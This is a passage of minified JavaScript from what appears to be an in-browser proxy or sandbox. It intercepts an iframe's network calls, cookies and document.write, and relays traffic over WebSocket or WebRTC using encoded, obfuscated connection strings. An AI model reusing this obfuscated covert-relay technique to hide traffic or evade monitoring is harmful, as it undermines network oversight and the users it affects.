| u.cf && (l.enumerable = !1, | |
| b.defineProperty(a, "classList", l)) | |
| } | |
| } else | |
| b.prototype.__defineGetter__ && a.__defineGetter__("classList", t) | |
| } | |
| })(a.b.contentWindow) | |
| } | |
| function ub(a, c) { | |
| if (("IFRAME" == c.tagName || "BODY" == c.tagName) && a.v.hasAttribute.call(c, "onload")) { | |
| var b = a.v.getAttribute.call(c, "onload"); | |
| a.v.removeAttribute.call(c, "onload"); | |
| c.setAttribute("onload", b) | |
| } | |
| "IFRAME" == c.tagName && a.v.hasAttribute.call(c, "onerror") && (b = a.v.getAttribute.call(c, "onerror"), | |
| a.v.removeAttribute.call(c, "onerror"), | |
| c.setAttribute("onerror", b)); | |
| a.v.hasAttribute.call(c, "style") && c.setAttribute("style", a.v.getAttribute.call(c, "style")); | |
| a.v.hasAttribute.call(c, "id") && c.setAttribute("id", | |
| a.v.getAttribute.call(c, "id")); | |
| a.v.hasAttribute.call(c, "class") && c.setAttribute("class", a.v.getAttribute.call(c, "class")); | |
| if (Da[c.tagName]) { | |
| b = {}; | |
| for (var d = 0; d < c.attributes.length; d++) | |
| Da[c.tagName][c.attributes[d].nodeName] && (b[c.attributes[d].nodeName] = c.attributes[d].value); | |
| for (var e in b) | |
| b.hasOwnProperty(e) && (a.v.removeAttribute.call(c, e), | |
| c.setAttribute(e, b[e])); | |
| "A" == c.tagName && a.v.hasAttribute.call(c, "v-href") && c.setAttribute("v-href", a.v.getAttribute.call(c, "v-href")) | |
| } | |
| } | |
| function vb(a) { | |
| if (a) { | |
| if (a instanceof ArrayBuffer && void 0 !== a.byteLength) | |
| return { | |
| data: a | |
| }; | |
| if (a.buffer instanceof ArrayBuffer && void 0 !== a.byteLength) | |
| return { | |
| data: a.buffer | |
| }; | |
| if ("string" == typeof a) | |
| return { | |
| data: O.encode(a), | |
| contentType: "text/plain; charset=UTF-8" | |
| } | |
| } | |
| return { | |
| data: null | |
| } | |
| } | |
| function eb(a) { | |
| function c(b, c) { | |
| a.F.fetch(c, { | |
| onsuccess: function(c) { | |
| if (a.b.contentWindow) { | |
| b.jd = c.status; | |
| b.X = {}; | |
| for (var d in c.headers) | |
| c.headers.hasOwnProperty(d) && 0 != c.headers[d].length && (b.X[d] = c.headers[d][0]); | |
| b.Qa = 2; | |
| b.dispatchEvent(new a.b.contentWindow.Event("readystatechange")); | |
| if ("" == b.responseType || "text" == b.responseType) | |
| c = O.decode(c.body), | |
| b.oa = c, | |
| b.Ub = c; | |
| else if ("arraybuffer" == b.responseType) | |
| b.oa = c.body; | |
| else if ("blob" == b.responseType) | |
| b.oa = new a.b.contentWindow.Blob([c.body],{ | |
| type: b.getResponseHeader("Content-Type") | |
| }); | |
| else if ("json" == b.responseType) | |
| 200 <= c.status && 300 > c.status ? (c = O.decode(c.body), | |
| b.oa = JSON.parse(c)) : b.oa = null ; | |
| else | |
| return; | |
| b.Qa = 3; | |
| b.dispatchEvent(new a.b.contentWindow.Event("readystatechange")); | |
| b.Qa = 4; | |
| b.dispatchEvent(new a.b.contentWindow.Event("readystatechange")); | |
| b.dispatchEvent(new a.b.contentWindow.Event("load")) | |
| } | |
| }, | |
| onerror: function() {} | |
| }) | |
| } | |
| a.b.contentWindow.XMLHttpRequest.prototype.setRequestHeader = function(a, c) { | |
| this.ha || (this.ha = {}); | |
| this.ha[a] = c | |
| } | |
| ; | |
| a.b.contentWindow.XMLHttpRequest.prototype.__defineGetter__("status", | |
| function() { | |
| return this.jd || 0 | |
| }); | |
| a.b.contentWindow.XMLHttpRequest.prototype.__defineGetter__("readyState", function() { | |
| return this.Qa || 0 | |
| }); | |
| a.b.contentWindow.XMLHttpRequest.prototype.__defineGetter__("response", function() { | |
| return "undefined" != typeof this.oa ? this.oa : "" | |
| }); | |
| a.b.contentWindow.XMLHttpRequest.prototype.__defineGetter__("responseText", function() { | |
| return "undefined" != typeof this.Ub ? this.Ub : "" | |
| }); | |
| a.b.contentWindow.XMLHttpRequest.prototype.getAllResponseHeaders = function() { | |
| if (this.X) { | |
| var a = "", c; | |
| for (c in this.X) | |
| this.X.hasOwnProperty(c) && | |
| (a += c + ": " + this.X[c] + "\r\n"); | |
| return a | |
| } | |
| } | |
| ; | |
| a.b.contentWindow.XMLHttpRequest.prototype.getResponseHeader = function(a) { | |
| if (!this.X) | |
| return null ; | |
| a = a.toLowerCase(); | |
| for (var b in this.X) | |
| if (this.X.hasOwnProperty(b) && b.toLowerCase() == a) | |
| return this.X[b]; | |
| return null | |
| } | |
| ; | |
| a.b.contentWindow.XMLHttpRequest.prototype.open = function(b, c) { | |
| this.Sb = b; | |
| this.kd = M.resolve(a.G, c); | |
| this.Qa = 1; | |
| this.dispatchEvent(new a.b.contentWindow.Event("readystatechange")) | |
| } | |
| ; | |
| a.b.contentWindow.XMLHttpRequest.prototype.send = function(a) { | |
| var b = this.Sb.toUpperCase(); | |
| if ("GET" == b || "HEAD" == b) | |
| a = null ; | |
| b = null ; | |
| if (a && (a = vb(a), | |
| b = a.data, | |
| a.contentType)) { | |
| var e = !1, f; | |
| for (f in this.ha || {}) | |
| if (this.ha.hasOwnProperty(f) && "content-type" == f.toLowerCase()) { | |
| e = !0; | |
| break | |
| } | |
| e || this.setRequestHeader("Content-Type", a.contentType) | |
| } | |
| a = {}; | |
| for (f in this.ha || {}) | |
| this.ha.hasOwnProperty(f) && (a[f] = [this.ha[f]]); | |
| c(this, { | |
| method: this.Sb, | |
| url: this.kd, | |
| body: b, | |
| headers: a | |
| }) | |
| } | |
| } | |
| function fb(a) { | |
| a.b.contentWindow.navigator.sendBeacon = function(c, b) { | |
| c = M.resolve(a.G, c); | |
| var d = {} | |
| , e = vb(b); | |
| var f = e.data; | |
| e.contentType && (d["Content-Type"] = [e.contentType]); | |
| a.F.fetch({ | |
| method: "POST", | |
| url: c, | |
| body: f, | |
| headers: d | |
| }); | |
| return !0 | |
| } | |
| } | |
| function gb(a) { | |
| a.b.contentWindow.Function("window.nativePostMessage = window.postMessage")(); | |
| a.b.contentWindow.postMessage = function(c, b, d) { | |
| b = "*"; | |
| var e = null ; | |
| if (arguments[arguments.length - 1].location) | |
| e = arguments[arguments.length - 1]; | |
| else if (null !== arguments.callee.caller) | |
| e = arguments.callee.caller.constructor("return window")(); | |
| else | |
| return a.b.contentWindow.$e(c, b, d); | |
| var f = e.document.createEvent("Event"); | |
| f.initEvent("message", !1, !1); | |
| f.source = e; | |
| f.data = c; | |
| f.ports = d; | |
| setTimeout(function() { | |
| a.b.contentWindow && | |
| a.b.contentWindow.dispatchEvent(f) | |
| }, 0) | |
| } | |
| } | |
| function hb(a) { | |
| a.b.contentWindow.document.__defineSetter__("cookie", function() {}); | |
| a.b.contentWindow.document.__defineGetter__("cookie", function() { | |
| return "" | |
| }) | |
| } | |
| function ib(a) { | |
| function c(b) { | |
| if (3 !== b.which && this.hasAttribute("href")) { | |
| var c = this.getAttribute("href"); | |
| c = M.resolve(a.G, c); | |
| var e = M.parse(c); | |
| "http:" != e.protocol && "https:" != e.protocol ? c = !1 : (a.qb(c), | |
| c = !0) | |
| } else | |
| c = !1; | |
| if (c) | |
| b.preventDefault(), | |
| b.stopPropagation(), | |
| b.stopImmediatePropagation(); | |
| else if (this.onclick) | |
| this.onclick(b) | |
| } | |
| a.qc = function(b) { | |
| b.gd || (b.gd = !0, | |
| a.v.le.call(b, c)) | |
| } | |
| ; | |
| a.b.contentWindow.open = function(b) { | |
| b = M.resolve(a.G, b); | |
| var c = M.parse(b); | |
| if ("http:" != c.protocol && "https:" != c.protocol) | |
| return null ; | |
| a.qb(b); | |
| b = document.createElement("iframe"); | |
| b.style.display = "none"; | |
| document.head.appendChild(b); | |
| c = b.contentWindow; | |
| document.head.removeChild(b); | |
| return c | |
| } | |
| } | |
| function kb(a) { | |
| function c() { | |
| E = null ; | |
| H = { | |
| root: [], | |
| node: [] | |
| }; | |
| A = []; | |
| C = y = null ; | |
| I = []; | |
| N = null ; | |
| G = 0 | |
| } | |
| function b() { | |
| for (; 0 < A.length; ) { | |
| var b = A[0] | |
| , e = q(b.buffer) | |
| , f = e.Pe; | |
| b.buffer = e.buffer; | |
| if (0 == f.length) | |
| if (b.done) { | |
| A.shift(); | |
| continue | |
| } else | |
| return; | |
| E.ld(f); | |
| d() | |
| } | |
| (b = E.getElementsByTagName("body")[0]) && null === b.firstChild && p(b, r.body); | |
| B = "interactive"; | |
| 0 < N.length ? (N.forEach(function(a) { | |
| a() | |
| }), | |
| N = []) : 0 == G && (a.b.contentWindow.ed(), | |
| 0 == I.length && (B = "complete", | |
| c(), | |
| a.b.contentWindow.Tb()), | |
| a.tb()) | |
| } | |
| function d() { | |
| for (; ; ) { | |
| var a = k(); | |
| if (null === | |
| a) | |
| break; | |
| var b = f(a.bb); | |
| H = a.eb; | |
| null !== b && (0 <= X.indexOf(b.tagName) && (I.push(b), | |
| b.addEventListener("load", e)), | |
| b.nodeType == Node.TEXT_NODE && (C = null !== C ? C + b.textContent : b.textContent), | |
| b.nb = a.Ea, | |
| w = b, | |
| a.Ea.appendChild(b)) | |
| } | |
| } | |
| function e() { | |
| I.splice(I.indexOf(this), 1); | |
| 0 == A.length && (B = "complete", | |
| c(), | |
| a.b.contentWindow.Tb(), | |
| a.tb()) | |
| } | |
| function f(b) { | |
| if ("SCRIPT" == b.tagName) | |
| return g(b); | |
| if ("IMG" == b.tagName) { | |
| var c = b.getAttribute("src"); | |
| b.removeAttribute("src"); | |
| b = r.importNode(b, !1); | |
| ub(a, b); | |
| c && b.setAttribute("src", c); | |
| return b | |
| } | |
| c = | |
| r.importNode(b, !1); | |
| c.nodeType == Node.ELEMENT_NODE && ub(a, c); | |
| return c | |
| } | |
| function g(c) { | |
| var d = !1; | |
| if (c.type && !Fa(c.type)) { | |
| var e = r.importNode(c, !0); | |
| ub(a, e); | |
| return e | |
| } | |
| e = r.createElement("script"); | |
| if (c.hasAttribute("src")) { | |
| var f = M.resolve(a.G, c.getAttribute("src")) | |
| , g = M.parse(f) | |
| , q = c.getAttribute("onload") | |
| , f = function(a, c) { | |
| try { | |
| q && (new win.Function("event",q))(c) | |
| } finally { | |
| a(), | |
| b() | |
| } | |
| } | |
| ; | |
| c.hasAttribute("defer") ? (d = !0, | |
| N.push(function() { | |
| e.src = g.href; | |
| r.documentElement.contains(e) && G++ | |
| }), | |
| e.onload = f.bind(null , function() { | |
| G-- | |
| })) : | |
| (e.src = g.href, | |
| e.onload = f.bind(null , function() { | |
| e.Y.done = !0 | |
| })) | |
| } else | |
| e.textContent = c.textContent; | |
| for (f = 0; f < c.attributes.length; f++) { | |
| var h = c.attributes[f]; | |
| -1 === h.name.indexOf('"') && -1 === h.name.indexOf("'") && -1 == ["src", "type"].indexOf(h.name) && a.v.setAttribute.call(e, h.name, h.value) | |
| } | |
| e.async = c.getAttribute("async"); | |
| ub(a, e); | |
| d || (e.Qb = !0); | |
| return e | |
| } | |
| function k() { | |
| var a = H | |
| , b = C | |
| , c = h(E, a.root) | |
| , d = h(c, a.node); | |
| if (null !== C && d.textContent.length != b.length && 0 == d.textContent.indexOf(b)) | |
| return { | |
| bb: r.createTextNode(d.textContent.substring(b.length)), | |
| eb: a, | |
| Ea: w.nb | |
| }; | |
| if (-1 == D.indexOf(d.tagName) && null !== d.firstChild) | |
| return C = null , | |
| { | |
| bb: d.firstChild, | |
| eb: { | |
| root: a.root, | |
| node: a.node.concat([0]) | |
| }, | |
| Ea: w | |
| }; | |
| indexes = a.node.slice(); | |
| b = d; | |
| for (d = w; 0 < indexes.length; ) { | |
| if (null !== b.nextSibling) | |
| return indexes[indexes.length - 1] += 1, | |
| C = null , | |
| { | |
| bb: b.nextSibling, | |
| eb: { | |
| root: a.root, | |
| node: indexes | |
| }, | |
| Ea: d.nb | |
| }; | |
| b = b.parentNode; | |
| d = d.nb; | |
| indexes.pop() | |
| } | |
| if ("HEAD" == c.tagName) { | |
| a = ["body"]; | |
| c = h(E, a); | |
| if (null === c.firstChild) | |
| return null ; | |
| p(c, r.body); | |
| c = c.firstChild; | |
| a = { | |
| root: a, | |
| node: [0] | |
| }; | |
| dstParent = r.body; | |
| C = null ; | |
| return { | |
| bb: c, | |
| eb: a, | |
| Ea: dstParent | |
| } | |
| } | |
| return null | |
| } | |
| function h(a, b) { | |
| for (var c = a, d = 0; d < b.length; d++) | |
| c = "string" == typeof b[d] ? c.getElementsByTagName(b[d])[0] : c.childNodes[b[d]]; | |
| return c | |
| } | |
| function p(a, b) { | |
| for (var c = 0; c < a.attributes.length; c++) { | |
| var d = a.attributes[c]; | |
| b.setAttribute(d.name, d.value) | |
| } | |
| } | |
| function l(b) { | |
| b = f(b); | |
| "SCRIPT" != b.tagName || b.type && !Fa(b.type) || (b = a.b.contentDocument.createElement("script"), | |
| ub(a, b)); | |
| return b | |
| } | |
| function t(a) { | |
| return { | |
| Lc: a, | |
| buffer: "", | |
| done: !1 | |
| } | |
| } | |
| function u() { | |
| var b = document.implementation.createHTMLDocument("").createElement("html"); | |
| b.lb = ""; | |
| b.ld = function(c) { | |
| b.lb += c; | |
| a.v.rc.call(b, b.lb) | |
| } | |
| ; | |
| return b | |
| } | |
| function q(a) { | |
| for (var b = []; ; ) { | |
| var c = {} | |
| , d = v(a, c); | |
| if (0 == d) | |
| break; | |
| var e = a.substring(0, d); | |
| a = a.substring(d); | |
| "noscript" != c.type && b.push(e); | |
| if ("script" == c.type) | |
| break | |
| } | |
| return { | |
| Pe: b.join(""), | |
| buffer: a | |
| } | |
| } | |
| function v(a, b) { | |
| b.type = null ; | |
| var c = a.match(/(<\/?)([a-z]|!|$)/i); | |
| if (null == c) | |
| return a.length; | |
| if (0 < c.index || "" == c[2]) | |
| return c.index; | |
| if ("!" == c[2]) { | |
| c = ">"; | |
| 0 == a.indexOf("\x3c!--") && (c = "--\x3e"); | |
| var d = a.indexOf(c); | |
| return 0 <= d ? d + c.length : 0 | |
| } | |
| d = a.indexOf(">", c[1].length); | |
| if (-1 == d) | |
| return 0; | |
| if ("</" == c[1]) | |
| return d + 1; | |
| c = a.substring(c.index + 1, d).split(" ")[0]; | |
| if (-1 == ["script", "style", "noscript"].indexOf(c.toLowerCase())) | |
| return d + 1; | |
| var e = "</" + c; | |
| d = a.indexOf(e, d + 1); | |
| if (-1 == d) | |
| return 0; | |
| d = a.indexOf(">", d + e.length); | |
| if (-1 == d) | |
| return 0; | |
| b.type = c; | |
| return d + 1 | |
| } | |
| var r = a.b.contentDocument; | |
| r.registerElement = null ; | |
| var B = "loading"; | |
| r.__defineGetter__("readyState", function() { | |
| return B | |
| }); | |
| var E = u() | |
| , H = { | |
| root: ["head"], | |
| node: [] | |
| } | |
| , w = r.head | |
| , A = [t(null )] | |
| , y = A[0]; | |
| a.Jc = function(b, c) { | |
| var d = t(b); | |
| if (c) { | |
| for (var e = | |
| null , f = a.b.contentDocument.currentScript, g = 0; g < A.length; g++) | |
| A[g].Lc == f && (e = g); | |
| if (null == e) | |
| return; | |
| f = t("the cake is a lie"); | |
| f.buffer = A[e].buffer; | |
| A[e].buffer = ""; | |
| f.done = !0; | |
| A.splice(e, 0, d); | |
| A.splice(e, 0, f) | |
| } else | |
| A.splice(0, 0, d); | |
| return d | |
| } | |
| ; | |
| a.Rd = function(b, c) { | |
| var d = document.implementation.createHTMLDocument("").createElement("parser"); | |
| for (a.v.rc.call(d, c); b.firstChild; ) | |
| b.removeChild(b.firstChild); | |
| for (var e = d, f = b; ; ) | |
| if (e.firstChild) | |
| e = e.firstChild, | |
| f = f.appendChild(l(e)); | |
| else if (e.nextSibling) | |
| e = e.nextSibling, | |
| e.parentNode.removeChild(e.previousSibling), | |
| f = f.parentNode.appendChild(l(e)); | |
| else if (e == d) | |
| break; | |
| else | |
| e = e.parentNode, | |
| e.removeChild(e.firstChild), | |
| f = f.parentNode | |
| } | |
| ; | |
| var C = null | |
| , D = ["SCRIPT"] | |
| , N = [] | |
| , G = 0 | |
| , X = ["IFRAME", "LINK"] | |
| , I = []; | |
| a.Kc = function() { | |
| E = u(); | |
| H = { | |
| root: ["head"], | |
| node: [] | |
| }; | |
| A = [t(null )]; | |
| y = A[0]; | |
| C = null ; | |
| I = []; | |
| a.ja = null ; | |
| N = []; | |
| G = 0 | |
| } | |
| ; | |
| r.open = function() { | |
| if ("loading" == B) | |
| return r; | |
| for (B = "loading"; r.documentElement.firstChild; ) | |
| r.documentElement.removeChild(r.documentElement.firstChild); | |
| r.documentElement.appendChild(r.createElement("head")); | |
| r.documentElement.appendChild(r.createElement("body")); | |
| w = r.head; | |
| a.Kc(); | |
| return r | |
| } | |
| ; | |
| r.close = function() { | |
| "loading" == B && (y.done = !0, | |
| 1 == A.length && null == A[0].Lc && b()) | |
| } | |
| ; | |
| r.write = function(a) { | |
| if (null === r.currentScript || r.currentScript.Y) | |
| r.open(), | |
| null == r.currentScript ? y.buffer += a : r.currentScript.Y.buffer += a, | |
| b() | |
| } | |
| ; | |
| r.writeln = function(a) { | |
| r.write(a + "\n") | |
| } | |
| } | |
| var S = function() { | |
| function a(a) { | |
| this.F = a | |
| } | |
| function c(a, b) { | |
| b = b || {}; | |
| if (!a) | |
| throw Error("invalid arguments"); | |
| this.host = a; | |
| this.protocol = ("undefined" !== typeof b.ua ? b.ua : 1) ? "https" : "http"; | |
| if (!b.na) | |
| throw Error("invalid arguments"); | |
| this.na = b.na | |
| } | |
| function b(a) { | |
| a = a.toLowerCase(); | |
| var b; | |
| (b = "proxy-" === a.substr(0, 6)) || (b = "sec-" === a.substr(0, 4)); | |
| if (b) | |
| return !1; | |
| switch (a) { | |
| case "accept-charset": | |
| case "accept-encoding": | |
| case "access-control-request-headers": | |
| case "access-control-request-method": | |
| case "connection": | |
| case "content-length": | |
| case "cookie": | |
| case "cookie2": | |
| case "date": | |
| case "dnt": | |
| case "expect": | |
| case "host": | |
| case "keep-alive": | |
| case "origin": | |
| case "te": | |
| case "trailer": | |
| case "transfer-encoding": | |
| case "upgrade": | |
| case "via": | |
| return !1 | |
| } | |
| return !0 | |
| } | |
| function d(a, b, c, d) { | |
| d = d || {}; | |
| if (!a || !b || !c) | |
| throw Error("invalid arguments"); | |
| this.host = a; | |
| this.port = b; | |
| this.Nd = c; | |
| this.C = d.C || null ; | |
| if (!d.Oa || !d.Pa) | |
| throw Error("invalid arguments"); | |
| this.Oa = d.Oa; | |
| this.Pa = d.Pa; | |
| this.kb = d.kb | |
| } | |
| function e(a) { | |
| var b = new ArrayBuffer(4); | |
| (new DataView(b,0)).setInt32(0, a, !0); | |
| return b | |
| } | |
| function f(a, b) { | |
| b = b || {}; | |
| if (!a || "string" !== typeof a) | |
| throw new TypeError; | |
| this.Mb = (("undefined" !== typeof b.ua ? b.ua : 1) ? "wss" : "ws") + "://" + a + "/wsm"; | |
| this.C = b.C || null ; | |
| this.O = b.O; | |
| this.Ce = 0 | |
| } | |
| function g(a, b) { | |
| b = b || {}; | |
| if (!a) | |
| throw Error("invalid arguments"); | |
| this.Mb = (("undefined" !== typeof b.ua ? b.ua : 1) ? "wss" : "ws") + "://" + a + "/wsp"; | |
| if (!b.O) | |
| throw Error("invalid arguments"); | |
| this.O = b.O | |
| } | |
| function k(a, b, c) { | |
| c = c || {}; | |
| var d = !1, e = !1, f; | |
| for (f in b.headers) | |
| if (b.headers.hasOwnProperty(f) && 0 === Object.prototype.toString.call(b.headers[f]).indexOf("[object Array")) | |
| try { | |
| Object.defineProperty(b.headers[f], "toJSON", { | |
| get: function() {}, | |
| set: function() {} | |
| }) | |
| } catch (w) {} | |
| var g = O.encode(JSON.stringify({ | |
| url: b.url || "", | |
| method: b.method || "GET", | |
| headers: b.headers || | |
| {}, | |
| body: b.body ? Ba.encode(b.body) : null | |
| })); | |
| a.onopen = function() { | |
| a.send(g) | |
| } | |
| ; | |
| a.onmessage = function(a) { | |
| if ("string" != typeof a.data) | |
| if (!1 === d) { | |
| if (d = !0, | |
| a = O.decode(a.data), | |
| a = JSON.parse(a), | |
| a.headers = a.headers ? h(a.headers) : {}, | |
| a.headers["x-content-type"] && (a.headers["content-type"] = a.headers["x-content-type"], | |
| delete a.headers["x-content-type"]), | |
| a = { | |
| status: a.status || 0, | |
| headers: a.headers || {} | |
| }, | |
| c.onresponse) | |
| c.onresponse(a) | |
| } else if (c.onprogress) | |
| c.onprogress(a.data) | |
| } | |
| ; | |
| a.onerror = function() { | |
| e = !0; | |
| if (c.onerror) | |
| c.onerror(Error("message channel error")) | |
| } | |
| ; | |
| a.onclose = function() { | |
| if (!e) | |
| if (d) { | |
| if (c.onsuccess) | |
| c.onsuccess() | |
| } else if (e = !0, | |
| c.onerror) | |
| c.onerror(Error("connection to url:" + b.url + " closed without response")) | |
| } | |
| } | |
| function h(a) { | |
| for (var b = {}, c = Object.keys(a), d = 0; d < c.length; d++) | |
| b[c[d].toLowerCase()] = a[c[d]]; | |
| return b | |
| } | |
| function p(a) { | |
| this.F = a | |
| } | |
| function l(a) { | |
| this.F = a | |
| } | |
| l.prototype.stream = function(a, b) { | |
| this.F.stream(a, b) | |
| } | |
| ; | |
| l.prototype.fetch = function(a, b) { | |
| b = b || {}; | |
| var c = new ArrayBuffer(0), d; | |
| this.stream(a, { | |
| onresponse: function(a) { | |
| d = a | |
| }, | |
| onprogress: function(a) { | |
| var b = new Uint8Array(c.byteLength + | |
| a.byteLength); | |
| b.set(new Uint8Array(c), 0); | |
| b.set(new Uint8Array(a), c.byteLength); | |
| c = b.buffer | |
| }, | |
| onsuccess: function() { | |
| var a = b.onsuccess; | |
| a && (d.body = c, | |
| a(d)) | |
| }, | |
| onerror: b.onerror | |
| }) | |
| } | |
| ; | |
| p.prototype.fetch = function(a, b) { | |
| this.F.fetch(a, b) | |
| } | |
| ; | |
| p.prototype.stream = function(a, b) { | |
| this.fetch(a, { | |
| onsuccess: function(a) { | |
| var c = a.body; | |
| delete a.body; | |
| if (b.onresponse) | |
| b.onresponse(a); | |
| if (b.onprogress) | |
| b.onprogress(c); | |
| if (b.onsuccess) | |
| b.onsuccess() | |
| }, | |
| onerror: b.onerror | |
| }) | |
| } | |
| ; | |
| g.prototype.stream = function(a, b) { | |
| b = b || {}; | |
| var c = new this.O(this.Mb); | |
| c.binaryType = | |
| "arraybuffer"; | |
| k(c, a, b) | |
| } | |
| ; | |
| f.prototype.Ab = function() { | |
| function a() { | |
| function a() { | |
| b.C.removeEventListener("message", g, !1); | |
| b.C.removeEventListener("close", f, !1); | |
| b.C.removeEventListener("error", e, !1) | |
| } | |
| function e(b) { | |
| a(); | |
| if (!h && (h = !0, | |
| d.onerror)) | |
| d.onerror(b) | |
| } | |
| function f() { | |
| a(); | |
| if (!h) { | |
| h = !0; | |
| if (d.onerror) | |
| d.onerror(new ErrorEvent("error")); | |
| if (!k && (k = !0, | |
| d.onclose)) | |
| d.onclose(new CloseEvent("close",{ | |
| Se: !1, | |
| code: 0, | |
| reason: "" | |
| })) | |
| } | |
| } | |
| function g(b) { | |
| b = b.data; | |
| if (4 > b.byteLength) | |
| throw Error(); | |
| c === (new DataView(b.slice(0, 4),0)).getInt32(0, | |
| !0) && (b = b.slice(4), | |
| 0 === b.byteLength ? (a(), | |
| k || (k = !0, | |
| d.onclose && (b = { | |
| Se: !1, | |
| code: 0, | |
| reason: "" | |
| }, | |
| d.onclose(new CloseEvent("close",b))))) : d.onmessage && (b = { | |
| data: b, | |
| origin: "", | |
| lastEventId: "", | |
| channel: "", | |
| source: null , | |
| ports: [] | |
| }, | |
| d.onmessage(new MessageEvent("message",b)))) | |
| } | |
| d.readyState = b.O.OPEN; | |
| var h = !1 | |
| , k = !1; | |
| b.C.addEventListener("message", g, !1); | |
| b.C.addEventListener("close", f, !1); | |
| b.C.addEventListener("error", e, !1); | |
| if (d.onopen) | |
| d.onopen(new Event("open")) | |
| } | |
| var b = this | |
| , c = b.Ce++; | |
| if (4294967295 <= c) | |
| throw Error(); | |
| var d = {}; | |
| d.readyState = | |
| b.O.CONNECTING; | |
| var f = !1; | |
| d.send = function(a) { | |
| if ("object" !== typeof a) | |
| throw new TypeError; | |
| if (f) | |
| throw Error(); | |
| f = !0; | |
| if (d.readyState !== b.O.OPEN) | |
| throw Error(); | |
| var g = new ArrayBuffer(a.byteLength + 4) | |
| , h = new Uint8Array(g); | |
| h.set(new Uint8Array(e(c)), 0); | |
| h.set(new Uint8Array(a), 4); | |
| b.C.send(g) | |
| } | |
| ; | |
| if (!b.C || b.C.readyState !== b.O.CONNECTING && b.C.readyState !== b.O.OPEN) { | |
| var g = new b.O(b.Mb); | |
| g.binaryType = "arraybuffer"; | |
| b.C = g | |
| } | |
| if (b.C.readyState === b.O.CONNECTING) { | |
| var h = !1 | |
| , k = function() { | |
| if (!h && d.onerror) | |
| d.onerror(Error()) | |
| } | |
| ; | |
| b.C.addEventListener("error", | |
| k, !1); | |
| var l = function() { | |
| b.C.removeEventListener("open", l, !1); | |
| b.C.removeEventListener("error", k, !1); | |
| h = !0; | |
| a() | |
| } | |
| ; | |
| b.C.addEventListener("open", l, !1) | |
| } else if (b.C.readyState === b.O.OPEN) | |
| setTimeout(function() { | |
| a() | |
| }, 0); | |
| else | |
| throw Error(); | |
| return d | |
| } | |
| ; | |
| f.prototype.stream = function(a, b) { | |
| b = b || {}; | |
| var c = this.Ab(); | |
| k(c, a, b) | |
| } | |
| ; | |
| d.prototype.Dc = function(a) { | |
| var b = {}; | |
| b[J("EjsAFg==")] = [J("FD0ZC2o=") + (this.host + ":" + this.port)]; | |
| var c = {}; | |
| c[J("DioJNjUdGDMYCg==")] = [b]; | |
| var d = new this.Oa(c) | |
| , e = this; | |
| d.oniceconnectionstatechange = function() { | |
| "failed" == | |
| d.iceConnectionState && a && a() | |
| } | |
| ; | |
| b = d.createDataChannel(J("SCQJETFABjMLCx4PIBE8")); | |
| b.binaryType = "arraybuffer"; | |
| b.onopen = function() {} | |
| ; | |
| b.onclose = function() { | |
| d.close() | |
| } | |
| ; | |
| b.onmessage = function() {} | |
| ; | |
| d.onicecandidate = function(a) { | |
| null != a.candidate && (a = a.candidate.candidate.match(new RegExp(J("OSoNCzQGCjceHFAxIVtoGwl/U25vSTA9CQQXEjtaVD8DYkxNDAtFCkQlDkYZXhQjRghdGjRYZQUdU2t2HwoEQxQ7Cgko"))), | |
| null != a && d.addIceCandidate(new e.kb({ | |
| candidate: J("BCgCATkLDyIPQ1pNdFAdAz10QXdkRHFhSk52YUs=") + a[1] + J("Rz0VFXAHASUe"), | |
| sdpMLineIndex: 0 | |
| }), | |
| function() {}, function() {})) | |
| } | |
| ; | |
| var f = J("EXRcbz9SGyUPCwQMKBVod01kUw8eUwwJTVhzZFxdRE1XZ11vI1IdMxkKAwIrHikqCF4Qexk9ZRApTGJnWURaU0l5QlRaG1NmSklgDHgWISkKMQE2IhorLUMLKjdGQUFVRw==") + this.Nd + J("bShRDDMKQzkaDQMCKwNyMx89EC08Fk80RBkyJgcaFwITIAMLcF5cZV5ZLjkJI2cULgAjZmVDdWlzGX8lCAcEDgY5VlBgX152HRwIHzETZSMMIBIlOBIrNxwUYmReRX4CWiAPAH0aCCQLHlA=") + function() { | |
| for (var a = "", b = 0; 16 > b; ++b) | |
| var c = (4294967296 * Math.random() >>> 0).toString(16) | |
| , a = a + ("00000000".substring(0, 8 - c.length) + c); | |
| return a | |
| }() + J("bShRDDMKQyYdHVBddUB4d11kQ3ZgQ3VpSUhyZltDRFNXeVxVYF9eZlpJWmc="); | |
| d.createOffer(function(a) { | |
| d.setLocalDescription(a, function() { | |
| d.setRemoteDescription(new e.Pa({ | |
| sdp: f, | |
| type: "answer" | |
| }), function() {}, function() {}) | |
| }, function() {}) | |
| }, function() {}); | |
| return d | |
| } | |
| ; | |
| d.prototype.Ab = function(a) { | |
| var b = "/wsp\x00" + window.navigator.userAgent; | |
| if (!this.C || "closed" == this.C.signalingState) { | |
| this.C = this.Dc(a); | |
| try { | |
| return this.C.createDataChannel(b) | |
| } catch (v) {} | |
| return null | |
| } | |
| try { | |
| return this.C.createDataChannel(b) | |
| } catch (v) {} | |
| this.C = this.Dc(a); | |
| try { | |
| return this.C.createDataChannel(b) | |
| } catch (v) {} | |
| return null | |
| } | |
| ; | |
| d.prototype.stream = function(a, b) { | |
| b = b || {}; | |
| var c = this.Ab(b.onerror); | |
| if (!c && b.onerror) | |
| b.onerror(Error("create channel")); | |
| else | |
| c.binaryType = "arraybuffer", | |
| k(c, a, b) | |
| } | |
| ; | |
| c.prototype.fetch = function(a, c) { | |
| c = c || {}; | |
| var d = !1 | |
| , e = a.url || ""; | |
| if (1 > e.length || "/" != e[0]) | |
| e = "/" + e; | |
| var e = this.protocol + "://" + this.host + e | |
| , f = a.method || "GET" | |
| , g = a.headers || {} | |
| , k = a.body ? Ba.encode(a.body) : null | |
| , l = new this.na; | |
| l.onreadystatechange = function() { | |
| if (4 == l.readyState) | |
| if (0 == l.status) | |
| d || (d = !0, | |
| onerror && onerror(Error())); | |
| else { | |
| var a = l.getAllResponseHeaders() | |
| , | |
| b = {}; | |
| if (a) | |
| for (var a = a.split("\r\n"), e = 0; e < a.length; e++) { | |
| var f = a[e] | |
| , g = f.indexOf(": "); | |
| if (0 < g) { | |
| var k = f.substring(0, g) | |
| , f = f.substring(g + 2); | |
| b[k] || (b[k] = []); | |
| b[k].push(f) | |
| } | |
| } | |
| b = h(b); | |
| b["x-content-type"] && (b["content-type"] = b["x-content-type"], | |
| delete b["x-content-type"]); | |
| b = { | |
| status: l.status, | |
| headers: b, | |
| body: l.response | |
| }; | |
| if (c.onsuccess) | |
| c.onsuccess(b) | |
| } | |
| } | |
| ; | |
| l.onerror = function() { | |
| if (!d && (d = !0, | |
| c.onerror)) | |
| c.onerror(Error("XHR error")) | |
| } | |
| ; | |
